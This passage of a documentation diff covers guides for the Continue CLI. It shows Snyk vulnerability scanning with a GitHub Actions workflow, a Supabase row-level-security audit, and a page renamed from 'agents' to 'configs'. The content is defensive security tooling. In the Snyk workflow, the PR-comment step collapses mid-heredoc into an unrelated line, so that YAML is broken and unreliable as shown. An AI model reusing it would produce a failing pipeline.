+```
+Scan ./infra with Snyk IaC. Report high/critical misconfigs
+with exact files/lines. Provide code changes and re-scan to confirm.
+```
+
+**Headless Mode Prompt:**
+```bash
+cn -p "Scan ./infra with Snyk IaC. Report high/critical misconfigs with exact files/lines. Provide code changes and re-scan to confirm." --auto
+```
+
+
+
+### Container Scanning
+
+
+ Analyze Docker images for vulnerabilities in base images and packages.
+
+**TUI Mode Prompt:**
+```
+Scan image my-api:latest. Exclude base image vulns.
+Print dependency tree. Recommend a safer base image or upgrades.
+Re-test after the change (dry run).
+```
+
+**Headless Mode Prompt:**
+```bash
+cn -p "Scan image my-api:latest. Exclude base image vulns. Print dependency tree. Recommend a safer base image or upgrades. Re-test after the change (dry run)." --auto
+```
+
+
+
+### Pull Request Scanning
+
+
+ Focus scanning on modified files to catch issues before merging.
+
+**TUI Mode Prompt:**
+```
+Scan only files changed since origin/main with Snyk Code.
+Block if new high issues would be introduced. Show deltas.
+```
+
+**Headless Mode Prompt:**
+```bash
+cn -p "Scan only files changed since origin/main with Snyk Code. Block if new high issues would be introduced. Show deltas." --auto
+```
+
+
+
+### Security Learning
+
+
+ Access security education resources based on identified vulnerabilities ([CWE](https://cwe.mitre.org/)).
+
+**TUI Mode Prompt:**
+```
+Open Snyk Learn lessons related to the top CWE(s) from this scan.
+```
+
+**Headless Mode Prompt:**
+```bash
+cn -p "Open Snyk Learn lessons related to the top CWE(s) from this scan." --auto
+```
+
+
+
+## Continuous Security with GitHub Actions
+
+This example demonstrates a **Continuous AI workflow** where security scanning runs automatically on pull requests, generates AI-powered mitigation suggestions, and posts them as PR comments.
+
+
+
+ **About the --auto flag**: The `--auto` flag enables tools to run continuously without manual confirmation. This is essential for headless mode where the agent needs to execute multiple tools automatically to complete tasks like security scanning, vulnerability analysis, and fix validation.
+
+
+
+### Add GitHub Secrets
+
+Navigate to **Repository Settings → Secrets and variables → Actions** and add:
+
+- `CONTINUE_API_KEY`: Your Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys)
+- `SNYK_TOKEN`: Your Snyk authentication token from [app.snyk.io/account](https://app.snyk.io/account)
+
+### Create Workflow File
+
+Create `.github/workflows/snyk-security.yml` in your repository:
+
+```yaml
+name: Snyk Security Scanning
+
+on:
+ pull_request:
+ branches: [main]
+
+jobs:
+ security-scan:
+ runs-on: ubuntu-latest
+
+ steps:
+ - uses: actions/checkout@v4
+ with:
+ fetch-depth: 0 # Fetch all history for git diff
+
+ - name: Get Changed Files
+ id: changed-files
+ run: |
+ echo "📝 Getting changed files since main branch..."
+ CHANGED_FILES=$(git diff --name-only origin/${{ github.base_ref }}...HEAD | tr '\n' ' ')
+ echo "changed_files=$CHANGED_FILES" >> $GITHUB_OUTPUT
+ echo "Changed files: $CHANGED_FILES"
+
+ - name: Set up Node.js
+ uses: actions/setup-node@v4
+ with:
+ node-version: '18'
+
+ - name: Install Snyk CLI
+ run: |
+ npm install -g snyk
+ echo "✅ Snyk CLI installed"
+
+ - name: Install Continue CLI
+ run: |
+ npm install -g @continuedev/cli
+ echo "✅ Continue CLI installed"
+
+ - name: Validate Secrets
+ run: |
+ if [ -z "${{ secrets.SNYK_TOKEN }}" ]; then
+ echo "❌ Error: SNYK_TOKEN secret is not set"
+ exit 1
+ fi
+ if [ -z "${{ secrets.CONTINUE_API_KEY }}" ]; then
+ echo "⚠️ Warning: CONTINUE_API_KEY not set - AI mitigation suggestions will be skipped"
+ fi
+ echo "✅ Required secrets validated"
+
+ - name: Authenticate Snyk
+ env:
+ SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
+ run: |
+ snyk auth "$SNYK_TOKEN"
+ echo "✅ Snyk authenticated"
+
+ - name: Run Security Scans
+ id: security-scan
+ continue-on-error: true
+ env:
+ SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
+ CHANGED_FILES: ${{ steps.changed-files.outputs.changed_files }}
+ run: |
+ SCAN_FAILED=0
+
+ if [ -n "$CHANGED_FILES" ]; then
+ echo "🔍 Running targeted scan on changed files..."
+ echo "Changed files: $CHANGED_FILES"
+ FILE_ARGS=""
+ for file in $CHANGED_FILES; do
+ if [[ "$file" =~ \.(js|jsx|ts|tsx|py|java|go|rb)$ ]]; then
+ FILE_ARGS="$FILE_ARGS --file=$file"
+ fi
+ done
+
+ if [ -n "$FILE_ARGS" ]; then
+ echo "🔍 Running Snyk Code scan on changed files..."
+ snyk code test $FILE_ARGS --severity-threshold=high --json > snyk-code-results.json || {
+ echo "❌ Snyk Code found high severity issues in changed files"
+ SCAN_FAILED=1
+ }
+ else
+ echo "⚠️ No scannable code files changed, skipping Snyk Code scan"
+ echo '{"runs": [{"results": []}]}' > snyk-code-results.json
+ fi
+ else
+ echo "⚠️ No changed files detected, creating empty results"
+ echo '{"runs": [{"results": []}]}' > snyk-code-results.json
+ fi
+
+ echo "📦 Checking dependencies..."
+ snyk test --severity-threshold=high --json > snyk-oss-results.json || {
+ echo "❌ Snyk Open Source found high severity issues"
+ SCAN_FAILED=1
+ }
+
+ if [ $SCAN_FAILED -eq 1 ]; then
+ echo "scan_status=failed" >> $GITHUB_OUTPUT
+ echo "⚠️ Scans completed with issues - continuing to generate mitigation suggestions"
+ else
+ echo "scan_status=passed" >> $GITHUB_OUTPUT
+ echo "✅ All security scans passed"
+ fi
+
+ - name: Generate AI Mitigation Suggestions
+ if: always() && steps.security-scan.outputs.scan_status == 'failed'
+ continue-on-error: true
+ env:
+ CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }}
+ SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
+ run: |
+ echo "🤖 Generating AI-powered mitigation suggestions..."
+
+ # Create a summary of findings for Continue CLI
+ FINDINGS_SUMMARY=$(cat snyk-code-results.json snyk-oss-results.json | jq -r '
+ if .runs then
+ .runs[0].results[] | "Code Issue: \(.message.text) in \(.locations[0].physicalLocation.artifactLocation.uri) (Severity: \(.level))"
+ elif .vulnerabilities then
+ .vulnerabilities[] | "Dependency Issue: \(.title) in \(.packageName)@\(.version) (Severity: \(.severity))"
+ else
+ empty
+ end
+ ' | head -20)
+
+ if [ -n "$FINDINGS_SUMMARY" ]; then
+ echo "📋 Security findings to analyze:"
+ echo "$FINDINGS_SUMMARY"
+ echo ""
+
+ # Use Continue CLI to generate mitigation suggestions
+ PROMPT="Analyze these Snyk security findings and provide specific, actionable mitigation steps for each issue. Focus on: 1) Root cause, 2) Immediate fix, 3) Long-term prevention. Findings: $FINDINGS_SUMMARY. Provide clear, prioritized recommendations."
+
+ cn --agent continuedev/snyk-continuous-ai-agent -p "$PROMPT" --auto > mitigation-suggestions.md || {
+ echo "⚠️ Warning: Could not generate AI suggestions"
+ exit 0
+ }
+
+ if [ -f mitigation-suggestions.md ]; then
+ echo "✅ AI mitigation suggestions generated"
+ echo ""
+ echo "--- Mitigation Suggestions ---"
+ cat mitigation-suggestions.md
+ fi
+ else
+ echo "⚠️ No findings to analyze"
+ fi
+
+ - name: Post Mitigation Summary to PR
+ if: steps.security-scan.outputs.scan_status == 'failed' && hashFiles('mitigation-suggestions.md') != ''
+ continue-on-error: true
+ env:
+ GH_TOKEN: ${{ github.token }}
+ run: |
+ if [ -f mitigation-suggestions.md ]; then
+ echo "💬 Posting mitigation summary to PR..."
+
+ # Create PR comment with mitigation suggestions
+ cat > pr-comment.md <<'EOF'
+ ## 🛡️ Snyk Mitigation Summary
+
+ Snyk has identified security issues in this PR. Here are AI-generated mitigation recommendations:
+
+ EOF
+
+ cat mitigation-suggestions.md >> pr-comment.md
+
+ cat >> pr-comment.md < scan-results.md
+
+ if [ -f scan-results.md ]; then
+ echo "✅ Security report generated successfully"
+ cat scan-results.md
+ else
+ echo "⚠️ Warning: scan-results.md was not created"
+ fi
+
+ - name: Upload Security Report
+ if: always()
+ continue-on-error: true
+ uses: actions/upload-artifact@v4
+ with:
+ name: security-scan-results
+ path: |
+ scan-results.md
+ snyk-code-results.json
+ snyk-oss-results.json
+ mitigation-suggestions.md
+ if-no-files-found: warn
+
+ - name: Fail if Security Issues Found
+ if: steps.security-scan.outputs.scan_status == 'failed'
+ run: |
+ echo "❌ Security scan failed - high severity issues found"
+ echo "📋 Review the security report artifact for details and mitigation suggestions"
+ exit 1
+```
+
+
+ **About SNYK_TOKEN**: The workflow uses the SNYK_TOKEN in two ways:
+ 1. **Direct Snyk CLI authentication** - Authenticates the Snyk CLI for running scans
+ 2. **Continue CLI access** - Available as an environment variable when Continue generates AI mitigation suggestions
+
+ The `cn` agent automatically uses the SNYK_TOKEN when needed for Snyk MCP operations.
+
+
+
+ This workflow demonstrates several advanced features:
+ - **Changed Files Detection**: Only scans files modified in the PR
+ - **AI Mitigation**: Uses Continue CLI to generate actionable mitigation steps
+ - **PR Comments**: Automatically posts mitigation suggestions as PR comments
+ - **Comprehensive Reporting**: Generates detailed security reports with artifacts
+
+
+## Security Guardrails
+
+Implement automated security policies using Continue's rule system. See the [Rules deep dive](/customize/deep-dives/rules) for authoring tips.
+
+
+ **Coming Soon**: These security guardrail prompts will be available as pre-configured rules on the Continue Hub for easy installation.
+
+
+
+ ```bash
+ "Always run Snyk Code before committing newly
+ generated code; refuse to proceed if high
+ issues remain."
+ ```
+
+
+
+ ```bash
+ "When adding/updating a dependency, run Snyk Open Source, choose the
+ lowest-risk upgrade, and re-test."
+ ```
+
+
+
+ ```bash
+ "Before building containers, scan base images and recommend
+ security-hardened alternatives."
+ ```
+
+
+
+ ```bash
+ "Scan all Terraform changes for compliance
+ violations before applying infrastructure."
+ ```
+
+
+
+ Enable the **Secure-at-Inception** rules from the Hub to automatically apply
+ these guardrails to all code generation and modifications.
+
+
+## Troubleshooting
+
+### Authentication Issues
+
+```bash
+"Check Snyk auth status and current org. If not authenticated,
+help me authenticate. Then run a quick Code scan on ./
+with severity medium and print one example issue."
+```
+
+### Fix Validation
+
+```bash
+"Propose minimal diffs only in affected files,
+then rerun the same Snyk scan to confirm resolution."
+```
+
+### Connection Problems
+
+
+ **Verification Steps:** - Snyk MCP is installed via [Continue
+ Hub](https://hub.continue.dev/snyk/snyk-mcp) - Secure-at-Inception rules are
+ [enabled](https://hub.continue.dev/snyk/secure-at-inception) - Authentication
+ completed successfully - Project folder has been trusted
+
+
+## What You've Built
+
+After completing this guide, you have a complete **AI-powered security system** that:
+
+- ✅ Uses natural language — Simple prompts instead of complex CLI commands
+- ✅ Fixes automatically — AI suggests and validates security fixes
+- ✅ Runs continuously — Automated scanning in CI/CD pipelines
+- ✅ Enforces guardrails — Security rules prevent vulnerable code from shipping
+
+
+ Your security workflow now operates at **[Level 2 Continuous
+ AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** -
+ AI handles routine security scanning and remediation with human oversight
+ through review and approval of fixes.
+
+
+## Next Steps
+
+1. **Run your first scan** - Try the [SAST](https://snyk.io/learn/application-security/sast/) prompt on your current project
+2. **Review findings** - Analyze the security report and implement fixes
+3. **Set up CI pipeline** - Add the GitHub Actions workflow to your repo
+4. **Customize rules** - Add project-specific security policies
+5. **Monitor trends** - Track [vulnerability](https://snyk.io/learn/security-vulnerability/) reduction over time
+
+## Additional Resources
+
+
+
+ Complete Snyk platform documentation
+
+
+ Explore more MCP integrations and agents
+
+
+ Learn about secure coding practices
+
+
+ Understanding MCP architecture
+
+
diff --git a/docs/guides/supabase-mcp-database-workflow.mdx b/docs/guides/supabase-mcp-database-workflow.mdx
new file mode 100644
index 000000000..8f3eeca47
--- /dev/null
+++ b/docs/guides/supabase-mcp-database-workflow.mdx
@@ -0,0 +1,512 @@
+---
+title: "Supabase RLS Security Audit and Fixes with MCP"
+description: "Learn how to audit Row Level Security in your Supabase database, identify vulnerabilities, and automatically generate fixes using Continue CLI and Supabase MCP."
+sidebarTitle: "Supabase RLS Security Audit"
+---
+
+
+ A security audit workflow that uses Continue CLI with Supabase MCP to identify RLS vulnerabilities, generate secure policies, fix permission issues, and ensure your database follows security best practices.
+
+
+## What You'll Learn
+
+This cookbook teaches you to:
+
+- Use [Supabase MCP](https://supabase.com/docs/guides/getting-started/mcp) to audit database security
+- Identify tables without Row Level Security (RLS) enabled
+- Find and fix overly permissive or missing RLS policies
+- Generate secure RLS migrations following best practices
+- Automate security audits with GitHub Actions
+
+## Prerequisites
+
+Before starting, ensure you have:
+
+- [Supabase account](https://supabase.com) with an active project
+- Node.js 18+ installed locally
+- [Continue CLI](https://docs.continue.dev/guides/cli) with **active credits** (required for API usage)
+- Basic understanding of SQL and database concepts
+
+
+
+ ```bash
+ npm i -g @continuedev/cli
+ ```
+
+
+
+ 1. Visit [Continue Organizations](https://hub.continue.dev/settings/organizations)
+ 2. Sign up or log in to your Continue account
+ 3. Navigate to your organization settings
+ 4. Click **"API Keys"** and then **"+ New API Key"**
+ 5. Copy the API key immediately (you won't see it again!)
+ 6. Login to the CLI: `cn login`
+
+
+
+
+ Continue CLI can analyze your database schema and generate complex SQL queries - you just need to describe what you want in plain language!
+
+
+## Step 1: Set Up Your Credentials
+
+First, you'll need to set up access to your Supabase project.
+
+
+
+
+
+ **Security First**: Follow [Supabase's security best practices](https://supabase.com/docs/guides/getting-started/mcp#security-risks) when using MCP:
+ - Never connect to production databases directly
+ - Use development or staging environments
+ - Enable read-only mode when possible
+ - Scope MCP access to specific projects
+
+
+ The Supabase MCP supports OAuth authentication for secure access:
+
+ **OAuth Configuration (Recommended)**
+
+ The Supabase MCP will prompt for OAuth authentication when first used. Simply follow the authorization flow.
+
+ **Remote MCP URL**
+ ```
+ https://mcp.supabase.com/mcp
+ ```
+
+
+ The MCP server can be scoped to a specific project for better security. Configure this during setup.
+
+
+
+
+ To use Supabase MCP effectively, ensure your project has:
+
+ 1. **Development Environment** - Create a separate development project:
+ - Go to [Supabase Dashboard](https://supabase.com/dashboard)
+ - Create a new project for development/testing
+ - Copy the project URL and anon key
+
+ 2. **Database Schema** - Set up some initial tables for testing:
+ ```sql
+ -- Example schema for testing
+ CREATE TABLE users (
+ id UUID DEFAULT gen_random_uuid() PRIMARY KEY,
+ email TEXT UNIQUE NOT NULL,
+ created_at TIMESTAMPTZ DEFAULT NOW()
+ );
+
+ CREATE TABLE posts (
+ id UUID DEFAULT gen_random_uuid() PRIMARY KEY,
+ user_id UUID REFERENCES users(id),
+ title TEXT NOT NULL,
+ content TEXT,
+ published BOOLEAN DEFAULT false,
+ created_at TIMESTAMPTZ DEFAULT NOW()
+ );
+ ```
+
+ 3. **Row Level Security (RLS)** - Enable RLS for security:
+ ```sql
+ ALTER TABLE users ENABLE ROW LEVEL SECURITY;
+ ALTER TABLE posts ENABLE ROW LEVEL SECURITY;
+ ```
+
+
+ Use [Supabase Branching](https://supabase.com/docs/guides/deployment/branching) to create isolated development branches for safe testing.
+
+
+
+
+
+## Supabase Database Workflow Options
+
+
+ Skip the manual setup and use our pre-built Supabase Continuous AI agent that includes
+ optimized prompts, rules, and the Supabase MCP for intelligent database management.
+
+
+
+ **How Supabase MCP Works**:
+ - Connects to your Supabase project via OAuth
+ - Provides tools for database queries, schema inspection, and migrations
+ - Supports read-only mode for safer operations
+ - Can be scoped to specific projects for security
+
+
+
+
+ **Perfect for:** Immediate database analysis with AI-powered query optimization and schema insights
+
+
+
+ Visit the [Supabase Agent](https://hub.continue.dev/continuedev/supabase-agent) on Continue Hub and click **"Install Agent"** or run:
+
+ ```bash
+ cn --agent continuedev/supabase-agent
+ ```
+
+ This agent includes:
+ - **Optimized prompts** for database analysis and query generation
+ - **Built-in rules** for SQL best practices and security
+ - **[Supabase MCP](https://supabase.com/docs/guides/getting-started/mcp)** for secure database access
+ - **Automatic authentication** via OAuth flow
+
+
+
+ Navigate to your project directory and enter this prompt in the Continue CLI TUI:
+
+ ```
+ Analyze my Supabase database schema and suggest performance optimizations
+ ```
+
+ That's it! The agent handles everything automatically.
+
+
+
+
+ **Why Use the Agent?** Get consistent results with pre-tested prompts and built-in SQL optimization rules.
+
+
+
+
+
+
+
+ Configure the [Supabase MCP](https://supabase.com/docs/guides/getting-started/mcp) using OAuth:
+
+ The MCP server will automatically prompt for OAuth authentication when you first use it.
+
+
+
+ Test your Supabase MCP connection with this prompt:
+
+ ```
+ List all tables in my Supabase database
+ ```
+
+
+
+ Use this prompt template with Continue CLI to analyze your database:
+
+ ```
+ Analyze my Supabase database:
+ - List all tables with row counts
+ - Identify tables without indexes
+ - Find potential N+1 query patterns
+ - Suggest missing foreign key constraints
+ - Recommend index optimizations based on table structure
+ - Generate SQL migrations for suggested improvements
+ - Check for security issues (missing RLS policies)
+ ```
+
+
+
+
+
+
+
+ To use the pre-built agent, you need either:
+ - **Continue CLI Pro Plan** with the models add-on, OR
+ - **Your own API keys** added to Continue Hub secrets
+
+ The agent will automatically detect and use your configuration. For Supabase MCP:
+ - **Supabase account** with at least one project
+ - **OAuth authentication** (handled automatically)
+ - Development or staging environment (not production)
+
+
+---
+
+
+ **Security Best Practices**:
+ - **Never use MCP with production databases** - Always use development or staging environments
+ - **Enable read-only mode** when analyzing data to prevent accidental modifications
+ - **Scope to specific projects** to limit access
+ - **Use branch databases** for testing schema changes
+
+
+## Step 2: Analyze Your Database with AI
+
+Use Continue CLI to perform intelligent database analysis. Enter these prompts in the Continue CLI TUI:
+
+
+
+ **Prompt:**
+ ```
+ Analyze my Supabase database schema and provide:
+ - Complete table structure with data types
+ - Relationships between tables
+ - Missing indexes that could improve performance
+ - Unused or redundant columns
+ - Suggestions for normalization improvements
+ ```
+
+
+
+ **Prompt:**
+ ```
+ Perform a comprehensive RLS (Row Level Security) audit on my Supabase database:
+
+ For each table:
+ - Check if RLS is enabled
+ - List all existing RLS policies
+ - Identify tables without any RLS policies (security risk)
+ - Find overly permissive policies (e.g., allowing all operations)
+ - Suggest missing policies based on common patterns
+ - Generate SQL to fix identified security issues
+
+ Prioritize findings by risk level:
+ 1. Critical: Tables with sensitive data but no RLS
+ 2. High: Overly permissive policies
+ 3. Medium: Missing common policies (e.g., users can only see own data)
+ 4. Low: Policy optimization opportunities
+ ```
+
+
+
+ **Prompt:**
+ ```
+ Based on the RLS audit, generate SQL migrations to fix all security issues:
+
+ 1. Enable RLS on all tables that don't have it:
+ - Include ALTER TABLE statements
+ - Add comment explaining why RLS is needed
+
+ 2. Create secure default policies for common patterns:
+ - Users can only read/update their own records
+ - Admins have full access (with role checking)
+ - Public read-only access where appropriate
+ - Proper INSERT policies for new records
+
+ 3. Fix overly permissive policies:
+ - Replace 'true' conditions with proper checks
+ - Add user_id or role-based restrictions
+ - Include USING clauses for read operations
+ - Include WITH CHECK clauses for write operations
+
+ 4. For each policy, include:
+ - Clear naming convention (e.g., 'users_select_own')
+ - Comments explaining the security model
+ - Rollback statements
+
+ Generate the complete migration file with all fixes.
+ ```
+
+
+
+
+ **Available Supabase MCP Capabilities**:
+ - **Database Queries**: Execute SQL queries and analyze results
+ - **Schema Inspection**: View table structures, relationships, and constraints
+ - **Performance Analysis**: Identify slow queries and optimization opportunities
+ - **Security Review**: Check RLS policies and access controls
+ - **Migration Generation**: Create SQL migrations for schema changes
+
+
+## Step 3: Generate Database Migrations
+
+Create and apply database migrations based on AI recommendations. Enter this prompt in the Continue CLI TUI:
+
+**Example: Complete RLS Security Fix**
+
+```
+I need to secure my Supabase database. Please:
+
+1. First, audit all tables for RLS security issues
+2. Generate a complete migration to fix all issues found
+3. Create a security report I can share with my team
+
+Here's what I need fixed:
+- Enable RLS on all tables
+- Create policies so users can only access their own data
+- Ensure admins (role = 'admin') have full access
+- Add policies for service accounts (role = 'service')
+- Include audit logging for sensitive operations
+
+For the users table specifically:
+- Users can read their own profile
+- Users can update their own profile (except role field)
+- Only admins can view all users
+- Only admins can delete users
+- New users can insert their own record during signup
+
+Generate the complete migration with:
+- All SQL statements
+- Clear policy names and comments
+- Rollback statements
+- A summary of what each policy does
+```
+
+**Expected Output:**
+The AI will generate a complete SQL migration file that:
+- Enables RLS on all tables
+- Creates secure, well-documented policies
+- Follows Supabase security best practices
+- Includes rollback capabilities
+- Provides a security summary for your team
+
+
+ **Best Practice**: Always review AI-generated migrations before applying them. Test in a development branch first using Supabase's branching feature.
+
+
+## Step 4: Set Up Automated Database Monitoring
+
+Automate database health checks with Continue CLI and GitHub Actions:
+
+```yaml
+name: Database Health Monitor
+
+on:
+ schedule:
+ # Run daily at 2 AM UTC
+ - cron: "0 2 * * *"
+ workflow_dispatch: # Allow manual triggers
+
+jobs:
+ monitor-database:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v4
+
+ - uses: actions/setup-node@v4
+ with:
+ node-version: "22"
+
+ - name: Install Continue CLI
+ run: |
+ npm install -g @continuedev/cli
+ echo "✅ Continue CLI installed"
+
+ - name: Analyze Database Security
+ env:
+ CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }}
+ run: |
+ echo "🔍 Performing security audit..."
+
+ # Use Continue CLI to audit RLS and generate fixes
+ cn -p "Using Supabase MCP, perform a comprehensive RLS security audit:
+ 1. Check all tables for RLS enablement
+ 2. Identify tables with missing or weak RLS policies
+ 3. Find overly permissive policies (e.g., 'true' conditions)
+ 4. Check for common security anti-patterns:
+ - Missing user_id checks
+ - No role-based access control
+ - Unrestricted DELETE operations
+ - Missing WITH CHECK clauses
+ 5. Generate fixes for all security issues found
+ 6. Create a security report with:
+ - Critical vulnerabilities (tables without RLS)
+ - High-risk policies that need immediate fixes
+ - SQL migrations to fix all issues
+ - Best practice recommendations
+ - Compliance checklist (GDPR, SOC2, etc.)
+
+ If critical security issues are found:
+ - Generate the complete fix migration
+ - Create a GitHub issue with severity labels
+ - Tag security team members for review"
+
+ - name: Save Health Report
+ run: |
+ echo "## 📊 Database Health Report" >> $GITHUB_STEP_SUMMARY
+ echo "Generated at $(date)" >> $GITHUB_STEP_SUMMARY
+ echo "" >> $GITHUB_STEP_SUMMARY
+ echo "Check the 'Analyze Database Security' step for the full report" >> $GITHUB_STEP_SUMMARY
+
+ - name: Upload Health Report
+ uses: actions/upload-artifact@v4
+ with:
+ name: database-health-report
+ path: |
+ *.md
+ *.sql
+```
+
+
+ **Required GitHub Secrets**:
+ - `CONTINUE_API_KEY`: Your Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys)
+
+ Add this at: **Repository Settings → Secrets and variables → Actions**
+
+
+## What You've Built
+
+After completing this guide, you have a complete **AI-powered database management system** that:
+
+- **Analyzes schema design** - Identifies optimization opportunities and best practices
+- **Optimizes queries** - Suggests indexes and query rewrites for better performance
+- **Generates migrations** - Creates SQL code for schema improvements
+- **Monitors health** - Runs automated checks for performance and security issues
+- **Provides insights** - Delivers actionable recommendations based on data patterns
+
+
+ Your system now operates at **[Level 2 Continuous AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** - AI handles routine database analysis and optimization with human oversight for migration approval.
+
+
+## Advanced Database Prompts
+
+Enhance your workflow with these advanced Continue CLI prompts:
+
+
+
+ Monitor query performance in real-time and get alerts for slow queries exceeding threshold times
+
+
+ Automatically validate data integrity, find duplicates, and ensure consistency across related tables
+
+
+ Analyze API logs to understand data access patterns and optimize indexes accordingly
+
+
+ Review database usage and suggest ways to reduce costs while maintaining performance
+
+
+
+## Security Best Practices
+
+
+ **Database Security Guidelines**:
+ - Always use development/staging environments with MCP
+ - Enable read-only mode for analysis tasks
+ - Never store production credentials in code
+ - Review all AI-generated SQL before execution
+ - Use RLS policies to enforce access control
+ - Regularly audit database permissions
+
+
+## Troubleshooting
+
+### Supabase MCP Connection Issues
+
+If you encounter connection issues:
+
+1. Verify OAuth authentication is complete
+2. Check your Supabase project is accessible
+3. Ensure you're not connecting to a production database
+4. Verify the MCP URL is correct: `https://mcp.supabase.com/mcp`
+
+### Common Database Analysis Issues
+
+| Issue | Solution |
+|:------|:---------|
+| No tables found | Verify your database has tables created |
+| Permission denied | Check OAuth scopes and project permissions |
+| Slow query analysis | Ensure your database has query logs enabled |
+| Migration failures | Test migrations in a branch database first |
+
+## Next Steps
+
+- Set up [Supabase Edge Functions](https://supabase.com/docs/guides/functions) for automated workflows
+- Configure [Supabase Realtime](https://supabase.com/docs/guides/realtime) for live data monitoring
+- Implement [Database Webhooks](https://supabase.com/docs/guides/database/webhooks) for event-driven automation
+- Join the [Continue Discord](https://discord.gg/continue) for support
+
+## Resources
+
+- [Supabase MCP Documentation](https://supabase.com/docs/guides/getting-started/mcp)
+- [Supabase Database Guide](https://supabase.com/docs/guides/database)
+- [Supabase Security Best Practices](https://supabase.com/docs/guides/database/security)
+- [Model Context Protocol Docs](https://modelcontextprotocol.io/introduction)
+- [Continue CLI Guide](https://docs.continue.dev/guides/cli)
+- [Continuous AI Best Practices](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)
\ No newline at end of file
diff --git a/docs/guides/understanding-agents.mdx b/docs/guides/understanding-configs.mdx
similarity index 62%
rename from docs/guides/understanding-agents.mdx
rename to docs/guides/understanding-configs.mdx
index d03ce8758..115e21140 100644
--- a/docs/guides/understanding-agents.mdx
+++ b/docs/guides/understanding-configs.mdx
@@ -1,63 +1,73 @@
---
-title: "How to Understand Agents: Hub vs Local Configuration"
-description: "Learn how to choose between cloud-managed Hub agents and local configuration for AI development assistance in Continue, including setup, management, and best practices for each approach"
+title: "How to Understand Hub vs Local Configuration"
+description: "Learn how to choose between cloud-managed Hub and local configuration for AI development assistance in Continue, including setup, management, and best practices for each approach"
---
+
+
Every developer has unique needs when it comes to AI assistance. Some prefer the convenience of cloud-managed configurations, while others need the control and privacy of local setups. Continue offers both paths, and this guide will help you choose the right one for your workflow.
## What Are the Two Paths to AI Assistance?
-Continue provides two distinct ways to configure your AI agent:
+Continue provides two distinct ways to configure:
Think of Continue's configuration options like choosing between a managed service and self-hosting. Both get you to the same destination—powerful AI assistance in your IDE—but the journey and control level differ significantly.
-### How to Access Your Agent Configuration
+### How to Access Your Configuration
Before we dive into the specifics, let's understand how to access your configuration:
1. Open the Continue Chat sidebar by pressing cmd/ctrl + L (VS Code) or cmd/ctrl + J (JetBrains)
-2. Click the Agent selector above the main chat input
-3. Hover over an agent and click:
- - `new window` icon for Hub agents
- - `gear` icon for Local agents
+2. Click the Config selector above the main chat input
+3. Hover over a config and click:
+ - `new window` icon for Hub configs
+ - `gear` icon for Local configs
-
+
-## What Are Hub Agents: The Managed Experience
+## What Are Hub Configurations: The Managed Experience
-Hub Agents represent the "it just works" philosophy. When you [sign in to Continue Hub](https://auth.continue.dev/), you gain access to a curated ecosystem of pre-configured agents that sync seamlessly across all your development environments.
+Hub Configurations represent the "it just works" philosophy. When you [sign in to Continue Hub](https://auth.continue.dev/), you gain access to a curated ecosystem of established configurations that sync seamlessly across all your development environments.
-### Why Should You Choose Hub Agents?
+### Why Should You Choose Hub Configs?
**The Power of Simplicity**
-- **Instant Setup**: Browse the [agent marketplace](https://hub.continue.dev) and add any agent to your account with a single click
+- **Instant Setup**: Browse the [configuration marketplace](https://hub.continue.dev) and add any config to your account with a single click
- **Web-Based Management**: Configure models, add secrets, and customize settings through an intuitive web interface—no JSON editing required
- **Automatic Synchronization**: Make a change on the hub, and it reflects immediately across all your IDE instances
-- **Team Collaboration**: Share custom agents with your team, ensuring everyone uses the same optimized configurations
+- **Team Collaboration**: Share custom configurations with your team, ensuring everyone uses the same optimized configurations
-
+
-### How to Get Started with Hub Agents
+### How to Get Started with Hub Configs
The journey from zero to AI-powered coding takes just four steps:
-1. **Select Your Agent**: Click the agent selector in your IDE's Continue panel
-2. **Explore or Create**: Browse community agents or craft your own specialized helper
+1. **Select Your Config**: Click the config selector in your IDE's Continue panel
+2. **Explore or Create**: Browse community configurations or craft your own specialized setup
3. **Secure Your Keys**: Add API keys as [User Secrets](https://hub.continue.dev/settings/secrets) in the hub—they're encrypted and never exposed
4. **Sync and Code**: Click "Reload config" to pull your latest settings
-Pro tip: Hub Agents are perfect for teams. Create a custom agent with your team's coding standards, preferred models, and context sources, then share it with a simple link.
+Pro tip: Hub configurations are perfect for teams. Create a custom config with your team's coding standards, preferred models, and context sources, then share it with a simple link.
-### How to Manage Hub Agents
+### How to Manage Hub Configs
-All Hub Agent management happens through [the Hub](https://hub.continue.dev). For detailed customization, see our guide on [Editing an Agent](/hub/agents/edit-an-agent).
+All Hub config management happens through [the Hub](https://hub.continue.dev). For detailed customization, see our guide on [Editing a Config](/hub/configs/edit-a-config).
-## What Are Local Agents: The Power User's Choice
+## What Are Local Configs: The Power User's Choice
-Local Agents put you in the driver's seat. Using a `config.yaml` file, you have complete control over every aspect of your AI agent's behavior, with all configuration stored directly on your machine.
+Local configuration puts you in the driver's seat. Using a `config.yaml` file, you have complete control over every aspect of your Continue experience with all configuration stored directly on your machine.
-### Why Should You Choose Local Agents?
+### Why Should You Choose Local Configs?
**Complete Control and Privacy**
@@ -66,7 +76,7 @@ Local Agents put you in the driver's seat. Using a `config.yaml` file, you have
- **Offline Capability**: Once configured, no internet connection needed (assuming you're using local models)
- **Unlimited Customization**: Access every configuration option, experimental feature, and advanced setting
-### How to Set Up Local Agents
+### How to Set Up Local Configs
Local configuration lives in a single YAML file in your home directory:
@@ -77,13 +87,13 @@ Local configuration lives in a single YAML file in your home directory:
**Quick Access Method:**
-1. Open the agents dropdown in your IDE
-2. Click the gear icon next to "Local Agent"
+1. Open the configs dropdown in your IDE
+2. Click the gear icon next to "Local Config"
3. The `config.yaml` file opens in your editor

-### The Local Agent Experience
+### The Local Config Experience
When you edit your `config.yaml`, Continue provides intelligent autocomplete for all available options. Save the file, and Continue automatically reloads your configuration—no restart required.
@@ -93,9 +103,9 @@ For the complete configuration reference, see our [config.yaml documentation](/r
## How to Make the Right Choice
-The decision between Hub and Local agents often comes down to your specific needs and constraints. Here's a framework to help you decide:
